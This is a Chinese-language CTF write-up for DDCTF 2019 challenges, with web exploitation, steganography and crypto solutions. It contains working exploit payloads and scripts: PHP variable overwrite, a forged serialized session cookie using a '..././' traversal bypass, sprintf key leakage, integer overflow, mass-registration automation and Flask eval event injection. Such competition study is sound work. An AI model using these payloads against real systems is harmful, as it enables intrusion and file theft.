点击阅读
滴~ 读 index.php 文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting(E_ALL || ~E_NOTICE); header('content-type:text/html;charset=utf-8' ); if (! isset ($_GET['jpg' ])) header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09' ); $file = hex2bin(base64_decode(base64_decode($_GET['jpg' ]))); echo '<title>' .$_GET['jpg' ].'</title>' ;$file = preg_replace("/[^a-zA-Z0-9.]+/" ,"" , $file); echo $file.'</br>' ;$file = str_replace("config" ,"!" , $file); echo $file.'</br>' ;$txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64," .$txt."'></img>" ;?>
在给的博客 https://blog.csdn.net/FengBanLiuYun/article/details/80616607 中找到 https://blog.csdn.net/FengBanLiuYun/article/details/80913909
practice.txt.swp 得到
f1ag!ddctf.php
转 hex 加两次 base64 读 f1ag!ddctf.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php include ('config.php' );$k = 'hello' ; extract($_GET); if (isset ($uid)){ $content=trim(file_get_contents($k)); if ($uid==$content) { echo $flag; } else { echo 'hello' ; } } ?>
变量覆盖
payload: http://117.51.150.246/f1ag!ddctf.php?uid=&k=
flag
DDCTF{436f6e67726174756c6174696f6e73}
WEB 签到题 由 index.js 发现 auth() 函数中的 ajax 请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 function auth ( ) { $.ajax({ type: "post" , url:"http://117.51.158.44/app/Auth.php" , contentType: "application/json;charset=utf-8" , dataType: "json" , beforeSend: function (XMLHttpRequest ) { XMLHttpRequest.setRequestHeader("didictf_username" , "" ); }, success: function (getdata ) { console .log(getdata); if (getdata.data !== '' ) { document .getElementById('auth' ).innerHTML = getdata.data; } },error :function (error ) { console .log(error); } }); }
burpsuite 抓包带 didictf_username header 头请求 app/Auth.php
测试当 didictf_username 为 admin 时返回 success 的 json 数据,得到 app/fL2XID2i0Cdh.php
1 {"errMsg" :"success" ,"data" :"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba1\u7406\u5458----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php" }
访问能得到 app/Application.php 和 app/Session.php 源码
app/Application.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php Class Application { var $path = '' ; public function response ($data, $errMsg = 'success' ) { $ret = ['errMsg' => $errMsg, 'data' => $data]; $ret = json_encode($ret); header('Content-type: application/json' ); echo $ret; } public function auth () { $DIDICTF_ADMIN = 'admin' ; if (!empty ($_SERVER['HTTP_DIDICTF_USERNAME' ]) && $_SERVER['HTTP_DIDICTF_USERNAME' ] == $DIDICTF_ADMIN) { $this ->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php' ); return TRUE ; }else { $this ->response('抱歉,您没有登陆权限,请获取权限后访问-----' ,'error' ); exit (); } } private function sanitizepath ($path) { $path = trim($path); $path=str_replace('../' ,'' ,$path); $path=str_replace('..\\' ,'' ,$path); return $path; } public function destruct () { if (empty ($this ->path)) { exit (); }else { $path = $this ->sanitizepath($this ->path); if (strlen($path) !== 18 ) { exit (); } $this ->response($data=file_get_contents($path),'Congratulations' ); } exit (); } }
app/Session.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 <? include 'Application.php' ;class Session extends Application { var $eancrykey = 'EzblrbNS' ; var $cookie_expiration = 7200 ; var $cookie_name = 'ddctf_id' ; var $cookie_path = '' ; var $cookie_domain = '' ; var $cookie_secure = FALSE ; var $activity = "DiDiCTF" ; public function index () { if (parent ::auth()) { $this ->get_key(); if ($this ->session_read()) { $data = 'DiDI Welcome you %s' ; $data = sprintf($data,$_SERVER['HTTP_USER_AGENT' ]); parent ::response($data,'sucess' ); }else { $this ->session_create(); $data = 'DiDI Welcome you' ; parent ::response($data,'sucess' ); } } } private function get_key () { $this ->eancrykey = file_get_contents('../config/key.txt' ); } public function session_read () { if (empty ($_COOKIE)) { return FALSE ; } $session = $_COOKIE[$this ->cookie_name]; if (!isset ($session)) { parent ::response("session not found" ,'error' ); return FALSE ; } $hash = substr($session,strlen($session)-32 ); $session = substr($session,0 ,strlen($session)-32 ); if ($hash !== md5($this ->eancrykey.$session)) { parent ::response("the cookie data not match" ,'error' ); return FALSE ; } $session = unserialize($session); if (!is_array($session) OR !isset ($session['session_id' ]) OR !isset ($session['ip_address' ]) OR !isset ($session['user_agent' ])){ return FALSE ; } if (!empty ($_POST["nickname" ])) { $arr = array ($_POST["nickname" ],$this ->eancrykey); $data = "Welcome my friend %s" ; foreach ($arr as $k => $v) { $data = sprintf($data,$v); } parent ::response($data,"Welcome" ); } if ($session['ip_address' ] != $_SERVER['REMOTE_ADDR' ]) { parent ::response('the ip addree not match' .'error' ); return FALSE ; } if ($session['user_agent' ] != $_SERVER['HTTP_USER_AGENT' ]) { parent ::response('the user agent not match' ,'error' ); return FALSE ; } return TRUE ; } private function session_create () { $sessionid = '' ; while (strlen($sessionid) < 32 ) { $sessionid .= mt_rand(0 ,mt_getrandmax()); } $userdata = array ( 'session_id' => md5(uniqid($sessionid,TRUE )), 'ip_address' => $_SERVER['REMOTE_ADDR' ], 'user_agent' => $_SERVER['HTTP_USER_AGENT' ], 'user_data' => '' , ); $cookiedata = serialize($userdata); $cookiedata = $cookiedata.md5($this ->eancrykey.$cookiedata); $expire = $this ->cookie_expiration + time(); setcookie( $this ->cookie_name, $cookiedata, $expire, $this ->cookie_path, $this ->cookie_domain, $this ->cookie_secure ); } } $ddctf = new Session(); $ddctf->index();
查看源码后得知具体流程为
利用 Session.php 的 sprintf 格式化字符串漏洞
1 2 3 4 5 6 7 8 if (!empty ($_POST["nickname" ])) { $arr = array ($_POST["nickname" ],$this ->eancrykey); $data = "Welcome my friend %s" ; foreach ($arr as $k => $v) { $data = sprintf($data,$v); } parent ::response($data,"Welcome" ); }
传入 nickname 为 %s
格式化字符串得到 eancrykey
eancrykey: EzblrbNS
利用 Application 的析构函数 __destruct() 读 flag 文件,根据提示 //eancrykey and flag under the folder
,flag 应在 ../config/flag.txt
序列化 Application 定义 var $path = '..././config/flag.txt';
双写 ../ 绕过 sanitizepath 函数过滤得到
1 O:11 :"Application" :1 :{s:4 :"path" ;s:21 :"..././config/flag.txt" ;}
伪造 ddctf_id
1 2 php > echo md5('EzblrbNS' .'O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}' ); 5 a014dbe49334e6dbb7326046950bee2
getflag
1 2 3 4 5 6 7 8 9 10 11 import requestss = requests.Session() header = {'didictf_username' :'admin' } cookies = {'ddctf_id' :'O%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22...%2F.%2Fconfig%2Fflag.txt%22%3B%7D5a014dbe49334e6dbb7326046950bee2' } data = {'nickname' :'%s' } res = s.post('http://117.51.158.44/app/Session.php' ,headers=header,cookies=cookies,data=data) print res.text
flag
DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}
Upload-IMG 上传 jpg 图片显示 [Check Error]上传的图片源代码中未包含指定字符串:phpinfo()
推测要二次渲染绕过
使用 https://gist.github.com/virink/0f184d20ef9f9d92cfcbc656c56e6738 这个 php 脚本生成含 phpinfo() 的 jpg
这题要多试几次,先上传, 再下载,脚本处理后再上传、下载
如此反复多次得到 flag
##大吉大利,今晚吃鸡~
抓包分析发现传入 ticket_price 可控
1 2 3 4 5 6 7 8 9 GET /ctf/api/buy_ticket?ticket_price=2000 HTTP/1.1 Host: 117.51.147.155:5050 Accept: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36 Referer: http://117.51.147.155:5050/index.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: user_name=1q123; REVEL_SESSION=3dff7d284606b58024a5a3ca60ad6906 Connection: close
利用 unsigned int 整数溢出,能买到一张入场券
进入游戏发现需要知道其他账号的 id 和 ticket 才能移除对手
写脚本不断注册、买入场券,获取其 id 和 ticket,然后用自己的号将其移除
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import requestsimport reimport jsonids = [] tickets = [] m_cookie = {'user_name' :'admin300' ,'REVEL_SESSION' :'f59f3d9307f44dd5f6cb2ba44d45544d' } for i in range(100 ,200 ): s = requests.Session() username = "adminnnnsssss" +str(i) url = 'http://117.51.147.155:5050/ctf/api/register?name={}&password=qqqqqqqq' .format(username) b_url = "http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296" print (url) c = s.get(url).cookies cookie = {'user_name' :username,'REVEL_SESSION' :c['REVEL_SESSION' ]} br = s.get(b_url,cookies=cookie) buy_json = br.text tic = re.findall(r'"bill_id":"(.*?)"' ,buy_json)[0 ] pay_url = 'http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=' +tic pay_res = s.get(pay_url,cookies=cookie) res_url = "http://117.51.147.155:5050/ctf/api/search_ticket" res = s.get(res_url,cookies=cookie) iid = re.findall(r'"id":(.*?),"ticket":".*?"' ,res.text)[0 ] ticket = re.findall(r'"id":.*?,"ticket":"(.*?)"' ,res.text)[0 ] ids.append(iid) tickets.append(ticket) print iid print ticket re_url = 'http://117.51.147.155:5050/ctf/api/remove_robot?id={}&ticket={}' .format(iid,ticket) sss = requests.get(re_url,cookies=m_cookie).text print sss
吃鸡
Wireshark Wireshark 导出 HTTP 对象
发现到处的文件中有两张图和一个解密网站 html
导出 png 图片,其中一张高度改 800 得到 key: xS8niJM7
http://tools.jb51.net/aideddesign/img_add_info 解密
得到隐藏信息:
转16进制得到 flag
1 2 echo 44444354467B4E62756942556C52356C687777324F6670456D75655A6436344F6C524A3144327D | xxd -r -pDDCTF{NbuiBUlR5lhww2OfpEmueZd64OlRJ1D2}⏎
联盟决策大会 有关 Shamir’s Secret Sharing
https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing
参考这篇文章的代码,http://mslc.ctf.su/wp/plaidctf-2012-nuclear-launch-detected-150-password-guessing/
先把第一组的1,2,4解出,再把第二组的3,4,5解出,最后利用得到的两个数据解出明文
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from libnum import *p = 0xC45467BBF4C87D781F903249243DF8EE868EBF7B090203D2AB0EDA8EA48719ECE9B914F9F5D0795C23BF627E3ED40FBDE968251984513ACC2B627B4A483A6533 pairs1 = [] pairs1 += [(1 , 0x729FB38DB9E561487DCE6BC4FB18F4C7E1797E6B052AFAAF56B5C189D847EAFC4F29B4EB86F6E678E0EDB1777357A0A33D24D3301FC9956FFBEA5EA6B6A3D50E )] pairs1 += [(2 , 0x478B973CC7111CD31547FC1BD1B2AAD19522420979200EBA772DECC1E2CFFCAE34771C49B5821E9C0DDED7C24879484234C8BE8A0B607D8F7AF0AAAC7C7F19C6 )] pairs1 += [(4 , 0xBFCFBAD74A23B3CC14AF1736C790A7BC11CD08141FB805BCD9227A6E9109A83924ADEEDBC343464D42663AB5087AE26444A1E42B688A8ADCD7CF2BA7F75CD89D )] pairs2 = [] pairs2 += [(3 , 0x9D3D3DBDDA2445D0FE8C6DFBB84C2C30947029E912D7FB183C425C645A85041419B89E25DD8492826BD709A0A494BE36CEF44ADE376317E7A0C70633E3091A61 )] pairs2 += [(4 , 0x79F9F4454E84F32535AA25B8988C77283E4ECF72795014286707982E57E46004B946E42FB4BE9D22697393FC7A6C33A27CE0D8BFC990A494C12934D61D8A2BA8 )] pairs2 += [(5 , 0x2A074DA35B3111F1B593F869093E5D5548CCBB8C0ADA0EBBA936733A21C513ECF36B83B7119A6F5BEC6F472444A3CE2368E5A6EBF96603B3CD10EAE858150510 )] res = 0 def sss (p,pairs,res) : res = 0 for i, pair in enumerate(pairs): x, y = pair top = 1 bottom = 1 for j, pair in enumerate(pairs): if j == i: continue xj, yj = pair top = (top * (-xj)) % p bottom = (bottom * (x - xj)) % p res += (y * top * invmod(bottom, p)) % p res %= p return res p31 = (1 ,sss(p,pairs1,res)) p32 = (2 ,sss(p,pairs2,res)) pairs3 = [p31,p32] print n2s(sss(p,pairs3,res))
运行脚本得到 flag
DDCTF{vF22holF5hl5q0WmrFZ5kZ1DBdWOGObk}
MulTzor 下载保存后使用 xortool
1 2 xortool -x xx.txt -o cat ./* | grep DD
flag
DDCTF{b5f49e210662301ac0f6f3a6526106f1}
北京地铁 图片最低位提取 7SsQWmZ524i/yVWoMeAIJA==
aes 解密
http://tool.chacuo.net/cryptaes
密钥是 :weigongcun
DDCTF{Q*2!x@B0}
homebrew event loop 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 __author__ = 'garzon' from flask import Flask, session, request, Responseimport urllibapp = Flask(__name__) app.secret_key = '*********************' url_prefix = '/d5afe1f66147e857' def FLAG () : return 'FLAG_is_here_but_i_wont_show_you' def trigger_event (event) : session['log' ].append(event) if len(session['log' ]) > 5 : session['log' ] = session['log' ][-5 :] if type(event) == type([]): request.event_queue += event else : request.event_queue.append(event) def get_mid_str (haystack, prefix, postfix=None) : haystack = haystack[haystack.find(prefix)+len(prefix):] if postfix is not None : haystack = haystack[:haystack.find(postfix)] return haystack class RollBackException : pass def execute_event_loop () : valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#' ) resp = None while len(request.event_queue) > 0 : event = request.event_queue[0 ] request.event_queue = request.event_queue[1 :] if not event.startswith(('action:' , 'func:' )): continue for c in event: if c not in valid_event_chars: break else : is_action = event[0 ] == 'a' action = get_mid_str(event, ':' , ';' ) args = get_mid_str(event, action+';' ).split('#' ) try : event_handler = eval(action + ('_handler' if is_action else '_function' )) ret_val = event_handler(args) except RollBackException: if resp is None : resp = '' resp += 'ERROR! All transactions have been cancelled. <br />' resp += '<a href="./?action:view;index">Go back to index.html</a><br />' session['num_items' ] = request.prev_session['num_items' ] session['points' ] = request.prev_session['points' ] break except Exception, e: if resp is None : resp = '' continue if ret_val is not None : if resp is None : resp = ret_val else : resp += ret_val if resp is None or resp == '' : resp = ('404 NOT FOUND' , 404 ) session.modified = True return resp @app.route(url_prefix+'/') def entry_point () : querystring = urllib.unquote(request.query_string) request.event_queue = [] if querystring == '' or (not querystring.startswith('action:' )) or len(querystring) > 100 : querystring = 'action:index;False#False' if 'num_items' not in session: session['num_items' ] = 0 session['points' ] = 3 session['log' ] = [] request.prev_session = dict(session) trigger_event(querystring) return execute_event_loop() def view_handler (args) : page = args[0 ] html = '' html += '[INFO] you have {} diamonds, {} points now.<br />' .format(session['num_items' ], session['points' ]) if page == 'index' : html += '<a href="./?action:index;True%23False">View source code</a><br />' html += '<a href="./?action:view;shop">Go to e-shop</a><br />' html += '<a href="./?action:view;reset">Reset</a><br />' elif page == 'shop' : html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />' elif page == 'reset' : del session['num_items' ] html += 'Session reset.<br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />' return html def index_handler (args) : bool_show_source = str(args[0 ]) bool_download_source = str(args[1 ]) if bool_show_source == 'True' : source = open('eventLoop.py' , 'r' ) html = '' if bool_download_source != 'True' : html += '<a href="./?action:index;True%23True">Download this .py file</a><br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />' for line in source: if bool_download_source != 'True' : html += line.replace('&' ,'&' ).replace('\t' , ' ' *4 ).replace(' ' ,' ' ).replace('<' , '<' ).replace('>' ,'>' ).replace('\n' , '<br />' ) else : html += line source.close() if bool_download_source == 'True' : headers = {} headers['Content-Type' ] = 'text/plain' headers['Content-Disposition' ] = 'attachment; filename=serve.py' return Response(html, headers=headers) else : return html else : trigger_event('action:view;index' ) def buy_handler (args) : num_items = int(args[0 ]) if num_items <= 0 : return 'invalid number({}) of diamonds to buy<br />' .format(args[0 ]) session['num_items' ] += num_items trigger_event(['func:consume_point;{}' .format(num_items), 'action:view;index' ]) def consume_point_function (args) : point_to_consume = int(args[0 ]) if session['points' ] < point_to_consume: raise RollBackException() session['points' ] -= point_to_consume def show_flag_function (args) : flag = args[0 ] return 'You naughty boy! ;) <br />' def get_flag_handler (args) : if session['num_items' ] >= 5 : trigger_event('func:show_flag;' + FLAG()) trigger_event('action:view;index' ) if __name__ == '__main__' : app.run(debug=False , host='0.0.0.0' )
代码逻辑不难理解
解题思路是向 trigger_event 函数里传入数组,往队列里添加 get_flag,虽然页面得不到 flag 回显,但是 session 的 log 里会有记录
通过 #
, eval 执行 trigger_event,也由 #
分割,传入buy_handler 和 get_flag
payload
http://116.85.48.107:5002/d5afe1f66147e857/?action:trigger_event%23;action:buy;10%23action:buy;10%23action:get_flag;0
flag : DDCTF{3v41_3v3nt_100p_aNd_fLASK_c0Ok1e}